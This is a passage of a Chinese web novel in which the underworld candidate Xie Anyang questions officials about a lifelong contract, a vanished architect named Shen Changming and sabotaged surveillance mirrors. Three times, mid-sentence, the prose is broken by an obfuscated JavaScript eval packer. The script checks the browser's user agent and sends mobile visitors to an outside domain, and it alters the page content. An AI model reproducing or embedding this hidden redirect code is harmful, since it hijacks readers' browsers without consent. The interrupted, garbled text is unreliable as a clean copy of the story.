明庭沉思了一会,接着对他说:“跟你说也无妨,二十多年前忘川府曾经发生过动乱,忘川府内部让一个未受过神罚的刑犯步入了轮回。这人手上有不少人命,当时事情闹得很大,西园掌事被撤职了,我才顶上来的,后来这件事也被命令禁止过不得对外人提及。” “那你就这么跟我说了?” 明庭倒是一副无所谓的态度:“城主二话不说钦定你为候选人,这些事本也该让你知道的,何况我了解的也不多,剩下的你自己去问南园吧。毕竟那个刑犯是从他们南园和北园负责送去轮回的。” “忘川府的动乱与这个沈姓建筑师有什么干系?” “自然有干系,那之后他就失踪了,具体发生了什么,我并不清楚,只记得忘川府上下最混乱的那段时间里,上头还没有下禁令,我曾听很多人唤他沈少爷,还说他也被牵扯进去了。” 谢安阳心中有了个猜测:“被放走的刑犯不会就是这位沈少爷吧?” 明庭想也没想就否认了:“那不可能,这位沈少爷和误入轮回的刑犯是两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496502|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人,他要么也被送去轮回了,要么就是被调入了地府境内。” “还能调去地府?” “是啊,枉死城虽然是自主管辖,但与地府还是有联系的,双方互相调任很正常。” 谢安阳喃喃自语:“这位沈少爷身上有终身契,他怎么可能去轮回?” 明庭不以为意,“还有一种情况,倘若终身契被地府剥夺的话,他就同枉死城的人没有区别了。” “这玩意还能被剥夺??” “一般是有罪的地府人员才会被剥夺终身契。” 谢安阳接着问:“除了被剥夺,还有没有别的可能?比如他自愿赠予他人。” “自愿?”明庭有些疑惑:“我从未听过这种说法,你可能对终身契有误解,退一步讲,就算他可能送人,对方也承受不住他契约的反噬。” 谢安阳倒了杯茶品了两口,“听不懂,说通俗点。” 明庭:“终身契这个东西认主,签订以后只认原主。一旦有人接受别人的契约,的确会得到一点契约神力,但过不了多久,这个人就会迅速变得苍老,到最后全身溃烂而死,同样没有轮回资格。” 谢安阳手突然抖了一下,茶杯险些打翻了。 明庭皱眉问:“你干什么?” 谢安阳面无表情地问:“你说这玩意非本人契约就会受到反噬老死?” “是啊,你怎么了?” 谢安阳兀自平复了很长一段时间,才小心翼翼地问:“这个短时间是怎么定义的?” “一般是三、五年,但也有人撑过了八年。” 谢安阳差点没端稳茶杯,“那这种人岂非没救了?” “也不是,如果有人自愿接受这份契约,他再转嫁给别人,就没什么事了。” 谢安阳心说:那完了。 要命,他身上的终身契并不是他的。 谢安阳还待追问,明庭已经察觉了不对劲,“你为什么突然问这个?” 再问下去明庭就真该生疑了,谢安阳连忙转移话题:“那你知道这位沈少爷是什么时候来的枉死城吗?” 明庭扒着手指掐算了一下,“这我倒是有印象,他是民国二十一年来的忘川府,比小刘钦要晚。” 又不说人话。 谢安阳默默扒着手指头算民国二十一年是哪一年。 “也就是1932年,距今有66年光景?” “应当是的。” “他来的时间你都记这么清楚,你会不知道他的名字?” 明庭瞪他一眼,“忘川府的人几乎都喊他沈少爷,我就是个普通差使,与他素无来往,哪里知道这些?” 谢安阳噎了一下,只好继续犯嘀咕:“又不是什么见不得人,怎么还下禁令不让人传呢?” 明庭:“因为这件事是忘川府全责,枉死城千百年来没出过这档子事,上报地府后还处置了不少人。” “你说清楚一点,到底是多少年前发生的?” 明庭仔细掐算了一下,估了个大概:“到现在满打满算有二十四年了吧?” “那上任西园掌事呢,在南园刑狱吗?” 明庭摇摇头:“这我就不清楚了。” “他叫什么名字,回头我去南园的话自己查查看?” 明庭瞥他一眼,只好说:“也行,那你自己记一下,上任西园掌事名叫孟忱,赤忱的忱。” 谢安阳有些入了神,突然又听明庭问:“对了安阳,你今年多大了?” 谢安阳张口就要回答,随后忽然怔愣了一下。 他死的那一年还没来得及过21岁生日,来到这里后待了三年,正常来说,他今年应该是24岁。 就挺巧的。 也不知道明庭突然这样问是否生了疑心,但防范于未然总归是好事。 谢安阳看向他时,已改了口:“二十一。” 19. 问心(四) “还有个问题,明叔啊,问心契是什么?” 明庭愣了一下,“按理说你是候选人,我该为你答疑解惑,但这种简单的东西,你若是好奇得自己去查。你也不是第一次来西园了,知道每层楼放的文书是什么,记得放回去就好了。” 谢安阳微笑着提醒:“有门鸮。” “我会给你通行令,”明庭说着,又一脸严肃地盯着他,“你是怎么知道问心契的?听谁说的。” 方才他问那么多关于终身契的问题,可能就让这老头生了疑心,未免明庭真的多疑,也认真地回答:“对岸有个朋友提到过。” “哦,姓甚名谁?”明庭将信将疑。 谢安阳只好说:“王鹤青,往生殿的人。” 明庭未置可否,似乎又有疑问,也是这时候,堂外突然飞来一只黑乎乎的鹦鹉模样的鸟。 鹦鹉扑腾着翅膀停在二人面前,而后尖声尖气地嚷嚷:“谢安阳是否在西园?城主有话说!城主有话说!” 明庭目光示意:“城主来了,应当是找你的。” 然而傻鸟开口第一句就是郑康的语气:“谢安阳人呢,把他给我叫过来帮忙,这堆破文书看得老夫眼花。” 谢安阳就有种不祥的预感。 明庭还在旁边幸灾乐祸:“叫你呢阳儿,快去帮城主看文书。” “西园的事务这就结束了?” “西园是四园中最无关紧要的,何况每届城主任期三百年,你这太子爷可能还得当个一两百年,所以不急于这一时片刻。” 谢安阳满脸写着不乐意:“我记忆被清洗过,不识字。” 明庭飞快地接了一句,“没关系,你替城主端茶递水按揉肩膀就行了。” 谢安阳依旧杵在原地不动,“明叔,你知道刘钦他们平时叫我什么来着?” “少爷?你这少爷脾气也不是一天两天了。” “那你觉得我会端茶递水吗?” “……” “就不去。”谢安阳抱着胳膊,“忘川府这么多鬼差,他堂堂城主,难道还没有人给他打下手?” 傻鸟听完后,继续尖声尖气地说:“我听说有人想带落魄之魂入枉死城?” 还能听谁说的,准是刘钦把他卖了。 谢安阳并不相信,慢吞吞地问:“你有办法?” 鹦鹉立马唉声叹气起来,“最近腰疼、肩膀疼,头也疼,哎哟人老了,想不起来了,等我休息个几十年,没准就想起来了。” 就很棒。 “你保证真的有办法,我就过来。” 鹦鹉:“老夫最不喜欢勉强人了,不来就不来吧。” “……” 明庭在旁边安慰:“去吧阳儿,明早再来,记得赶早,否则真让你打扫整个西园了。” “知道了。” …… 忘川府包含了四园,大得离谱,城主住在中心位置,谢安阳也走了很长一段路才到。 他走进院子时,城主还在槐树下逗鸟,瞥见他进来,也当作没看到,继续用棍子戳鸟肚子。 谢安阳没规没矩惯了,自个儿来到石桌前倒茶喝,他抿了口茶,语气慵懒:“找我干嘛?” 郑康瞪他一眼,目光瞥向茶盏,暗示他给自己倒一杯。 谢安阳当然懂他的意思,却故意装作看不懂,“你说过会让小植进枉死城,不要说话不算话。” “小植?你给她取名了?” “嗯,天植,随我姓,谢天植。” “你这是收了个闺女还是妹妹?” “要你管?” 郑老头简直恨铁不成钢,“往后你若真当选城主,别总是这样没规没矩,否则别说忘川府四掌事,就连底下的差使也未必肯服你。” 谢安阳满不在乎地说:“你为什么就执着于让我当城主候选人,难道不怕我把忘川府搞得一团乱?” “无妨,小刘钦会帮你。” “……” “不说算了,我走了。”谢安阳气不过,直接起身准备走人。 郑康立马说:“就算忘不掉生前的事,还有一种特殊情况能进枉死城,就是成为地府收编人员,比如刘钦。” 谢安阳惊讶了半天,才问:“跟刘钦有什么关系?” 郑康来到他对面坐下,谢安阳立马狗腿地给他倒茶。 郑康叹息一声,“刘钦曾有个忘不掉的小青梅,他当时无法进入枉死城,正巧那时忘川府缺人手,就将他收编入了地府。” “就是与地府签订终身契吧?” “看来明庭已经跟你说过了。” 没记错的话,明庭说过那位沈少爷来枉死城的时间比刘钦还晚,但是刘钦其实是民国时期的人,说明这俩人是相继来这里的。 谢安阳捏了下手指,趁机问:“我听说,从前忘川府有个姓沈的建筑师,是跟刘钦同时期来到忘川府,现在的忘川府就是他设计修建的,可我怎么没见过他?” 郑康眼睛忽然眯了起来,“谁告诉你的?” 谢安阳跟着笑:“传闻里的沈少爷为忘川府做的贡献不算小,我有些好奇他做了什么,竟会沦落到见不得人的地步?” 郑康但笑不语,端了茶喝。 谢安阳:“城主,沈少爷的名字是什么?” 郑康犹豫了好几秒,才突然郑重其事地看着他说:“他叫沈长鸣。” 谢安阳的小指又无意识地蜷缩了一下。 这个名字听起来很耳熟,他应该在哪听过。 最终他想了很久很久,终于想起常宇临别前曾下意识唤过他一声“长鸣”。 有什么东西正慢慢地拼凑在一起,似乎就剩下几块碎片,完整的样子就能呈现在眼前。 其实谢安阳没指望郑康回答,忘川府二十四年前动乱,这么些年众人瞒得严严实实,也就他跟刘钦关系够深,刘钦耳根子又软,会多说两句。后来则是因为他被钦定为候选人,明庭才肯告诉他这些事情的。 谢安阳继续试探:“他是不是被送去轮回了?” “他的去向是忘川府机密,除南园执法掌事,再与其他人知晓,老夫自然也不可能告诉你。” “可他不是有终身契吗?” 郑康却不答反问:“你打听他的事做什么?” 谢安阳含糊地说:“好奇。” “为什么偏偏好奇他?” 谢安阳也觉得自己问得太直白,不引起怀疑才奇怪了,可内心深处生了一团迷雾,让他看不清前路,还堵在心口上不去下不来,憋得慌。 谢安阳飞快地找补:“我是奇怪他为什么不把忘川府设在枉死城中。” 出乎意料的是,郑康竟没有追问下去,似乎并没有生疑,还铁青着脸色瞪他一眼。 谢安阳眉头一蹙,“又瞪我。” 郑康说:“忘川府不仅要管枉死城,还得看顾花田里的人,早跟你说过了,你听到哪去了!?” 谢安阳不禁冷笑一声,“你所谓的管他们,就是放任他们在忘川自生自灭?” “忘川府有规定,如若花田的人肯放下执念,再喝一次忘川水就能去轮回。” 谢安阳握着茶杯的手一僵,“我之前怎么没听说过?” 郑康说:“肯放下执念的人少之又少,但凡能放下心结,也不至于喝了忘川水还会记得。” “合着你这是废话?” 郑康感到很无奈:“你也看到了,白天差使会在花田巡逻,不仅是为了守护彼岸花,也是想给他们离开的机会——只要他们想清楚,随时可以找差使带他去往生殿。” 谢安阳问:“枉死城数千年历史,有多少人找过差使?” 郑康:“上千人吧,可惜真正能忘记的人屈指可数。” “所以这个不成文的规定就胎死腹中了?” “差不多。” “没有别的办法么?” “两条路,要么忘记执念去轮回,要么被收编为地府人员。” 谢安阳不禁急躁起来,“就不能都收为地府人员么?” 他刚说完,就反应过来自己说了蠢话。 这世间什么样的人都有,都说人生来是一张白纸,后天的脾性就会定型,恶人太多,好人太少,恶人最终能否为善很难评判。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496503|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 人们来而复往,如同蝼蚁一般,少一个不少,多一个不多,没人有耐性去判断那个人是好是坏,只能尽可能选择对地府有用的人。 什么乱七八糟的人都招进地府,若是当中混入危险分子,你永远不知道多少人会因他们而受到伤害 如若有城府极深的人坐到官位,就会像瘟疫的源头,一发不可收拾地祸害身边的所有人,若是忘川府自身都乱套了,还谈何管理枉死城? 郑康说:“整个地府只有枉死城会养闲人,除非有空职才会考虑。” “……” 谢安阳就打起了小聪明:“就是说……嗯,能不能设一个空职?” “枉死城虽是由忘川府管辖,但忘川府的决策也得上报地府,知会一声以示我枉死城与地府心连心。” “那就设啊。” “比如?” “……”能力有限,他连地府的职位结构都不知道,谈何设空职。 谢安阳的气焰这就蔫了,他抚着下巴,“那你说这么多干嘛?” 郑康喝了口茶,张口就来,“民间神话故事里的神仙都是要去人间历练的,要不你也提前走一遭人间?” 谢安阳感到莫名其妙:“你们地府这不算神话吧?” 郑康平声静气地说:“新城主候选人须保留记忆,否则容易意气用事,就像你一样,想法过于天真,从不考虑利害。你去人间历练一回,当你再次回到地府,就会在往生殿看到前三世的走马灯片段。” 谢安阳却有些疑惑:“什么走马灯片段?我怎么不记得?” “人间还有说法叫诡盘,你喝过忘川水,当然不记得了。” 谢安阳一时入了神。 他并没有装傻充愣,如常宇所言,他根本就没喝过忘川水,就不可能出现记忆损伤,可他来时根本没看到什么前世走马灯。 谢安阳兀自琢磨了一会,半信半疑地盯着郑康,“你让小植进入枉死城的条件就是让我去轮回?” 郑康慢条斯理地说:“近些年设了个候选人守护者的闲职。” “说人话。” “就是找个人陪你去轮回,他可能拥有彼岸花的神力,而你没有,每当你遇到危险时,他会保护你,尽力让你活到寿终正寝。” “那小丫头片子的个头还没到我腰,你让她来保护我?” 郑康翻个白眼,“你们要是一起轮回,下一世的年纪相差无几。” 谢安阳想象了一下画面,感觉还是不太行,便摇摇头,“再回到枉死城我岂不是成你这样……不是,我是说,那时候我胡子一大把,还管什么枉死城?” “那你别想让她进枉死城了。” 谢安阳不慌不忙地接着抖机灵,“要不您让小植来当这个继承人好不好?候选人不也是名正言顺的虚职?” 郑康讥讽道:“候选人是不会签下终身契的,得当选城主才有资格,她一样进不去。” “说了是半天是废话?早知道我就不该来。” 郑康却不担心他会拒绝,“你想清楚,还有个好处。” 谢安阳默默微笑。 郑康:“你可以带着记忆转生。” 谢安阳脱口道:“当真?” “我什么时候骗过你?” “不是说带有记忆的人会凌驾于众生之上,很可能会影响人间秩序,不能让他们去轮回么?” 郑康飞快地接了一句,“我相信你。” “什么?” “你没有那个能力?” 谢安阳撇撇嘴,“我回去了。” 他走出几步,又默默转回身,讨好地笑问:“话又说回来,城主啊,你能否跟我说说刘钦和小青梅的故事?” “想借此威胁他?”郑康一挑眉。 谢安阳继续给他倒茶,“没有的事,本少爷最善良了。” 郑康点了个头,“你着实容易心软,当心哪天害了你。” 谢安阳还殷勤地凑上前给郑康揉肩膀,“快说说怎么回事,我想听。” “这个说来就话长了……” “长不长没关系,就是关心钦儿哥。” 20. 问心(五) 谢安阳还是回了一趟西园,因为他突然想起西园中的门鸮曾念出过“沈”字。他当时以为是它把常宇的姓被念得像“沈”,可现在重新细想,两个字的发音都不一样。 他决定回去试探一次门鸮,看看那破鸟会说些什么。 然而谢安阳来到文书阁大门前时,却看到里面不少人正忙忙碌碌地翻找文书,杨洵在一旁记录。 往里看,刘钦也一副焦头烂额的模样,扎进了一堆卷宗里。 明庭唯唯诺诺地候在一旁,看他们将大堂弄得一团乱,又不好说什么,看谢安阳大大咧咧地走进来,就伸手将他拉到一旁,不让他碍手碍脚。 谢安阳有些莫名其妙:“刘钦怎么又跑西园来了?” 明庭说:“花田又出事咯,听说有人动了忘川府安置的窥镜。听说花田还发生了别的命案,事儿挺多,唉,回头替他们善后有得忙了。” 杨洵瞥他一眼,可能是一时不忙了,就来到他面前,“你等会儿,执法大人有事找你。” 刘钦似有所感,忙碌中抬头瞥他一眼,顿感一阵心绞痛,但并没有搭理他,又埋着头继续翻看卷宗。 谢安阳不解地问:“他吃炸药了?” 杨洵解释说:“花田的命案有新进展了。” 谢安阳:“查到是谁了?” 杨洵一脸郁闷地摇摇头:“非但没有查到,还发现了别的命案,也是发生在花田。” “说人话。” “跟你说了你可能也听不懂——近几十年来花田有不少人因终身契反噬而亡了。” 明庭讶异了一声,“这倒是闻所未闻。” 杨洵跟谢安阳解释说:“终身契一生认一个主人,一旦被外人的身体接纳,就会成为诅咒反噬,若不及时剥离,轻则短时间内苍老至亡,重则魂飞魄散。” 明庭跟着附和:“以前发生过地府人员终身契被花田的暴民剥夺的案例,为保证地府的安全,地府就在里面加了这道咒。” 杨洵继续说:“执法大人查了花田近一个月的消亡人数,哪知手下人无意中放进了一卷十年前的卷宗,巧的是,那人是因终身契而消亡的。这个事情前所未有,执法大人就让人彻查近十年因终身契而亡的人,这一查却查出了六个人,现在正在往前推二十年,最坏的结果就是得继续往前推几十年。” 谢安阳感到有些意外。 这事儿真不是他故意的,他当时拿到的卷宗都是九八年的,没有十年前的,八成是刘钦一把年纪老眼昏花放进去的。 可问题来了,有人因终身契而亡是怎么回事? 跟常宇有关系吗? 谢安阳心中突然有了猜测:自己会不会也是常宇的实验对象?如果是的话,三年之期已到,自己岂不是时日无多了?? “你在想什么?”杨洵伸手杵了谢安阳一下。 谢安阳回过神来,问:“怎么发现是因终身契而亡的?” 杨洵说:“每份卷宗上都有命牌,因忘川水消亡什么也不会留下,但终身契会留下一道彼岸花印记。” 谢安阳远远地瞅了一眼,刘钦身旁堆了好几份卷宗,尾端玉珏上的确有花印记,他当时居然没注意到。 “你们能查到是谁的终身契吗?”谢安阳很想知道是不是常宇的。 杨洵却摇摇头:“这个查不了,顶多能查出是不是同一个人的终身契。” “咦。” 杨洵接着瞅他一眼,问:“你昨晚是不是去过花田?” “怎么了?” 杨洵说:“21号窥镜断开联系前不久,显像池中的26号窥镜看到你离开过忘川府,再后来方晏发现花田里的19号窥镜也没了。” “啊?”他明明记得只弄坏一个。 杨洵怀疑的目光盯着他:“听说你昨晚去对岸喝酒了?” 这事儿很多人都知道,谢安阳不可能隐瞒,就点了个头,“你们怀疑我?” 杨洵恨铁不成钢地摇头,“是执法大人怀疑你,一会你自己看着办吧。” 谢安阳:“……” 明庭也有些不可置信:“你昨晚真去喝酒去了?” 谢安阳:“昂。” 明庭欲言又止,最终摇了摇头,什么也没说。 后来刘钦将几份卷宗扔给杨洵,又来到他们面前,白了谢安阳一眼后,对明庭说:“明叔,我得借调这几份卷宗,麻烦您了,顺道再借一下谢安阳,他这几天暂时不来西园了。” 明庭“啊”了一声,还没从震惊中回过神,又默默地“哦”一声,“无妨,反正不急于一时半会儿。” 谢安阳插了句话:“你们能否尊重一下我的意愿?” 刘钦却将他拉了出去,杨洵道了个别后,也跟了出来。 刘钦眼见周围没人了,冷冷地瞪着谢安阳,“老实交代,昨晚跟谁喝酒去了?” 谢安阳一副无所谓的态度说:“往生殿的王鹤青。” 刘钦未置可否,扔下一句,“行,带路,去找他来对峙。” “你到底要干嘛?” 刘钦却一本正经地望着他,“花田里有人说你在21号窥镜附近出现过,窥镜的损坏最好跟你没有关系!” “……” 行,去就去吧,反正窥镜本就不是他弄坏的。 王鹤青作为往生殿管事,这个时间点也忙得不可开交,他还在正堂应付指挥一干人等,倒没想到这俩人会不请自到。 谢安阳进来就指着王鹤青,“昨晚他灌我酒,我喝糊涂了。” 王鹤青:“?” 刘钦也看向王鹤青问:“他说的是真是假?” 王鹤青看清是刘钦,先是怔了几秒,像是反应过来了,不答反问:“忘川府的执法大人怎么有空到这里来了?” 刘钦日常翻白眼不想说话。 谢安阳则瞪王鹤青一眼,“还不快去给执法大人倒茶。” 王鹤青:“?” 王鹤青心说我好歹是往生殿的掌事,跟刘钦也算平起平坐,怎么就给他倒茶了?? 王鹤青虽然无语,却还是走到一旁倒茶,过程中还不忘与谢安阳对眼色。 谢安阳说:“你就告诉执法大人,我昨晚是不是跟你待在一起?” 王鹤青却感叹了一句,“昨晚你在床上求我的时候可没这么凶。” 谢安阳:“???” 刘钦:“??????” 谢安阳愣了一会,觑了一眼刘钦,看他表情奇奇怪怪,便忍不住爆粗口:“你要脸不要!?” 王鹤青没理他,径直对刘钦说:“执法大人别见怪,我和安阳感情一直很好,床头打架床尾和。” 谢安阳都不用看刘钦,就猜到后者脸色肯定难看,一时气不过,随手抄起凳子就想砸人,“老子灭了你!” 王鹤青直往刘钦身后躲,还贱兮兮地对刘钦说:“执法大人救我。” 刘钦:“?” 在谢安阳的凳子扔出去之前,刘钦率先抢了过去往地上一丢,又将他拉到一旁,“你跟他怎么回事?” 谢安阳难以置信地问:“你相信他的屁话?” 刘钦眉目一凝,神色不改,“老实交代!” 谢安阳只好翻个白眼,没好气地说:“他嫉妒我长得帅人缘好!” “说人话。” “他有病!” 王鹤青远远地听见,故作失落地说:“没事的,安阳高兴就好。” 谢安阳咆哮:“滚远点!” 担心谢安阳又忍不住砸人,刘钦一把拉开他,横眉冷对地望向王鹤青,“王鹤青你正经点,再嬉皮笑脸,我请你去忘川府坐坐!” 谢安阳很是惊奇:“这个问题跟窥镜有关系?” 刘钦扒开他,冷冷地说:“有没有不是你说了算的。” 王鹤青嗤笑一声,双手拢下袖下,接着说:“我这人一生爱岗敬业,虽说没为地府做出什么贡献,但一直兢兢业业,唯一就是有个癖好,可也没影响到别人呀。” 谢安阳听不下去了,扭头就走人。 刘钦伸手把他抓回来,“你继续。” 谢安阳默默捂住耳朵,视线乱瞟,坚决不听他俩狗叫。 王鹤青无奈地看谢安阳一眼:“我就是有点喜欢安……” “你快闭嘴吧。”谢安阳没好气打断。 王鹤青可能也是怕真把他惹毛了,及时改了口,“你谢安阳真狠心,你让我帮你……” 谢安阳生怕他又说出什么逆天的话,抬手捂住他的嘴。 刘钦不禁生疑了:“你帮他什么?谢安阳你松手。” 谢安阳默默松手了,目光森冷地盯着王鹤青。 刘钦问:“他昨晚来过这里,你帮他做过什么?” 王鹤青只好一本正经地对刘钦说:“安阳昨晚的确陪我喝了一夜的酒。” 谢安阳忍不下去了,就问:“对峙完了,满意了?” 刘钦总觉得他不对劲,便继续追问:“他让你做过什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496504|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 王鹤青笑着打哈哈:“建议你别问。” 谢安阳的心提到了嗓子眼。 刘钦察觉了视线,回过头,他又恢复面无表情了,只见王鹤青瞥谢安阳一眼,凑到刘钦耳畔说了一句话。 谢安阳听不清,只看见刘钦脸色格外难看,他以为王鹤青老实交代了,心里已经盘算后路了。 谁料刘钦面无表情地扫了一眼谢安阳,转身出去了,还冷冷地搁下一句,“你谢安阳真行。” “?” 就挺莫名其妙的。 谢安阳想追出去解释两句,突然想不开,又回身质问王鹤青:“你跟他说了什么?” 王鹤青耸耸肩,“你让我保守秘密,我保守了,可他是执法者,我只能说点有可信度的东西,否则他是不会信的。” “你到底说了什么?” “这你不用知道,反正他信了。” 谢安阳咬牙切齿,“我要跟你拼命!” 王鹤青看他准备发作,当即转移话题:“阳儿,我发现你对吴桉是真好。” 谢安阳忍住了情绪,淡漠地说:“你发现错了。” 王鹤青又感叹说:“反正你知道的,我永远站在你这边,就算你做错事了,我也相信你有苦衷。” “我谢谢你啊。” “我想不明白你为什么会对他好,你是枉死城的人,按理说记不清生前的事,可他刚来你就让我安排他……”被谢安阳瞪了一眼,他又把话头憋了回去,继续抱怨:“我都怀疑你喜欢他了……” “别恶心老子!”谢安阳这回是真听不下去了,毫不犹豫地打断。 王鹤青这下感到手足无措,说到底他对谢安阳说出那些虎狼之词的时候,谢安阳也没表现得这么暴躁过。 这么一想,好像更难评了。 王鹤青不禁追问:“你跟他到底怎么回事?” “少问,话多容易挨揍。” “你再不说人话,我就告诉刘钦真相。” 谢安阳没再忍着,上前一把揪住他的衣领,眸光冰冷,话音的温度骤降,“你试试!” 王鹤青却没动作,还摆出一副很享受的表情:“来打我,求求你。” 谢安阳幽幽地警告:“你敢说一个字,我把你丢进忘川,淹死你!” “那我自己爬出来。” “……” “唉,惹到我你算是踢到棉花了。” 谢安阳没耐心了,一把扔开他,转身就想走。 王鹤青整理着衣襟,又不甘心地说:“安阳,我还是想劝你一句,刘钦来枉死城七十多年了,我与他偶尔也有来往,但这人性情相当古怪。说他冷漠吧,他刚来那会儿不这样,说他不冷漠吧,我看他就没对谁好脾气过,何况这人是南园执法掌事,你要是摊上事,他但凡有一点疑心,都是会刨根问底的。” 谢安阳顿住了脚步,“你猜我来找你干什么?” 王鹤青很有自知之明,“那倒也是,你也就这种时候会搭理我。不过仔细想想,你把所有事情推到我头上,就说明你坚信我会站在你这边,我还是很高兴的。” 谢安阳无话可说,“你要是不犯病,我还当你是朋友”这种话,他不知道对王鹤青说过多少回,现在已经懒得重复了。 谢安阳可能是想到他的确帮过自己,便软了口气,“我不告诉你是好事,要是有一天出了事,你是不知者无罪,不用担风险,可以跟刘钦说是被我利用。可我一旦告诉你缘由,意义就不一样了——你是包庇加共犯。” 王鹤青顿时喜上眉梢,“我就知道你心里有我。” “滚。” 王鹤青又说:“你出身枉死城,而我是地府的老人了,你总得透个底吧,否则我心里很慌,万一被……” “放心,我不会连累你。”谢安阳淡声打断。 王鹤青却说:“你知道我不是这个意思。” 谢安阳心软了,便答了一句,“我只相信人性是有弱点的。” “啊?” “我回去了。” 王鹤青继续在背后嘟嘟啷啷:“你对他们说的话几分真几分假,换作是我也分不清。仔细一想,至少你从未对我撒过谎,顶多就是不想说,这是不是说明我特殊?” “是啊。”谢安阳坦然地说:“别人都被灭口了,警告你一声,你时日也无多了。” 王鹤青犯贱犯多了,就不在意:“下次遇到麻烦记得再来找我。” “……” 21. 问心(六) 谢安阳追出来正好碰上垂头丧气的杨洵。几人一起来到往生殿,却只有谢安阳和刘钦进去找王鹤青,也不知道杨洵在外面干什么。 杨洵目光示意前面的刘钦,问:“你俩干嘛呢,他出来就一直黑着脸。” “我哪知道?动不动就发脾气,他才是大少爷吧!?”谢安阳压根没把刘钦生气这件事放心里,还突然想起了沈长鸣。 刘钦和沈长鸣是相继来的枉死城,常宇也曾说过,是刘钦想尽办法把他留下来的,那刘钦必定是认识他的,说不定还知道他的去向,就是不知道刘钦愿不愿意如实相告了。 谢安阳正准备问问刘钦关于沈长鸣的事,可还没来得及开口,刘钦就冲他吼了一句,“你跟过来干什么,怎么不好好待在你的往生殿??” “什么乱七八糟的?”谢安阳被迫改了口。 刘钦没搭理他了。 唉,头疼。 谢安阳默默追上去,“他满口跑火车,你怎么能相信他?” 刘钦没好气地反问:“不是你找他对质的吗?” 谢安阳品着话中深意不太对劲,就一本正经地问:“他跟你说了什么?” “你俩关系不是很好吗,怎么,他没告诉你?” 谢安阳:都不说人话是吧,我他喵的…… 谢安阳没想到刘钦还有更不做人的一幕,只见那混蛋上船后,随即招招手让杨洵走,坚决不等他。 还是杨洵迟疑了一会,换来的却是刘钦的白眼,好在他成功上船了,还故意凑到刘钦旁边。 刘钦果断撂下一句:“离我远点。” 谢安阳就不动,“你要是不相信我,我也没办法。” 刘钦却抬起头问:“你为什么四海皆朋友?” “哪有。” “你作为枉死城的人,没事就来忘川府碍眼,时常往花田钻就算了,你竟跟往生殿的王鹤青也有来往……”没等谢安阳狡辩,他又严肃地追问:“你到底意欲何为!?” 谢安阳不疾不徐地回答:“这只能说明我人缘好。” 刘钦一言不发地盯着他。 谢安阳气焰这就弱下去了,连忙说:“城主安排我和那群老头老太太们住,成天跟他们打麻将,我都快吐了,后来有一天来忘川府找杨洵,谁想到忘川府太大,我迷路了,就走进了花田,花田的人都在为我指路,我发现他们人还不错,慢慢地就熟悉了呗。” “那你怎么会认识王鹤青?” 谢安阳声气软了下去,老实说:“我刚来往生殿的时候,他关照过我。” 刘钦突然想起了他满身是血的样子,犹豫了一下,口气也不知不觉中软了下来,“仅此而已?” 谢安阳瞅准时机,举起手发誓:“他这人口无遮拦,绝不是他说的那样!” “你昨晚真的一直跟他待在一起?”刘钦拧起了眉。 谢安阳:“昂。” 杨洵听他俩吵了半天,还比嗓门大,脑瓜子嗡嗡的,此时见他俩总算消停了,就看向谢安阳问:“安阳,昨晚送你回来的人是谁?” “谁送我回来了?” 杨洵:“梧桐说,有个青年男人送你到界碑,还穿着往生殿的制服。” 谢安阳不假思索:“那就是往生殿的人,何况我喝醉了,记不清了。” 刘钦冷笑一声。 杨洵也很无语:“梧桐说这人看着面生,她不记得往生殿有这个人。” 刚刚他俩去找王鹤青对质的时候,杨洵就没有跟进来,也不知道在外面待了很久。 谢安阳心中有了猜测,就问:“你去往生殿盘问过了?” 刘钦也说:“不可以?难道听你和王鹤青串供?” 讲话真难听。 谢安阳轻哼一声,“那你问出什么了?” 杨洵说:“往生殿很多人都没见过他,只有几个人说他叫吴桉,近年来的,他作为后勤,平时打扫往生殿什么的。” 谢安阳感到疑惑:“有什么问题?” 刘钦就抱着胳膊闭目养神,等船靠岸。 杨洵只好继续说:“他曾在花田的窥镜里出现过。咱们忘川府与往生殿有交接工作往来,会递交文书或向掌事招呼一声,往生殿的后勤怎么会到枉死城境内?” 谢安阳斟酌着问:“你们窥镜什么时候安进花田的?” “前段时间命案频生,刚好就是这俩天开始安置的窥镜,谁知道还没查出什么就被人弄坏了俩。” 谢安阳若有所思地抚着下巴。 杨洵话音一转,又盯着他,“重要的是,窥镜看到你跟他有说有笑待在一起。” 谢安阳身体僵了一下。 所以刘钦这次来往生殿,不仅是为找王鹤青对峙,还是为了查吴桉!? 他们很早就看到窥镜显像中的画面,却一直隐忍未发,直到梧桐看见吴桉送他到界碑,才突然生了疑心? “沈长鸣”这三个字,他是开不了口了。 如王鹤青所言,刘钦疑心病重,要是被觉察出端倪就不好了。 谢安阳问刘钦:“有什么不妥?” 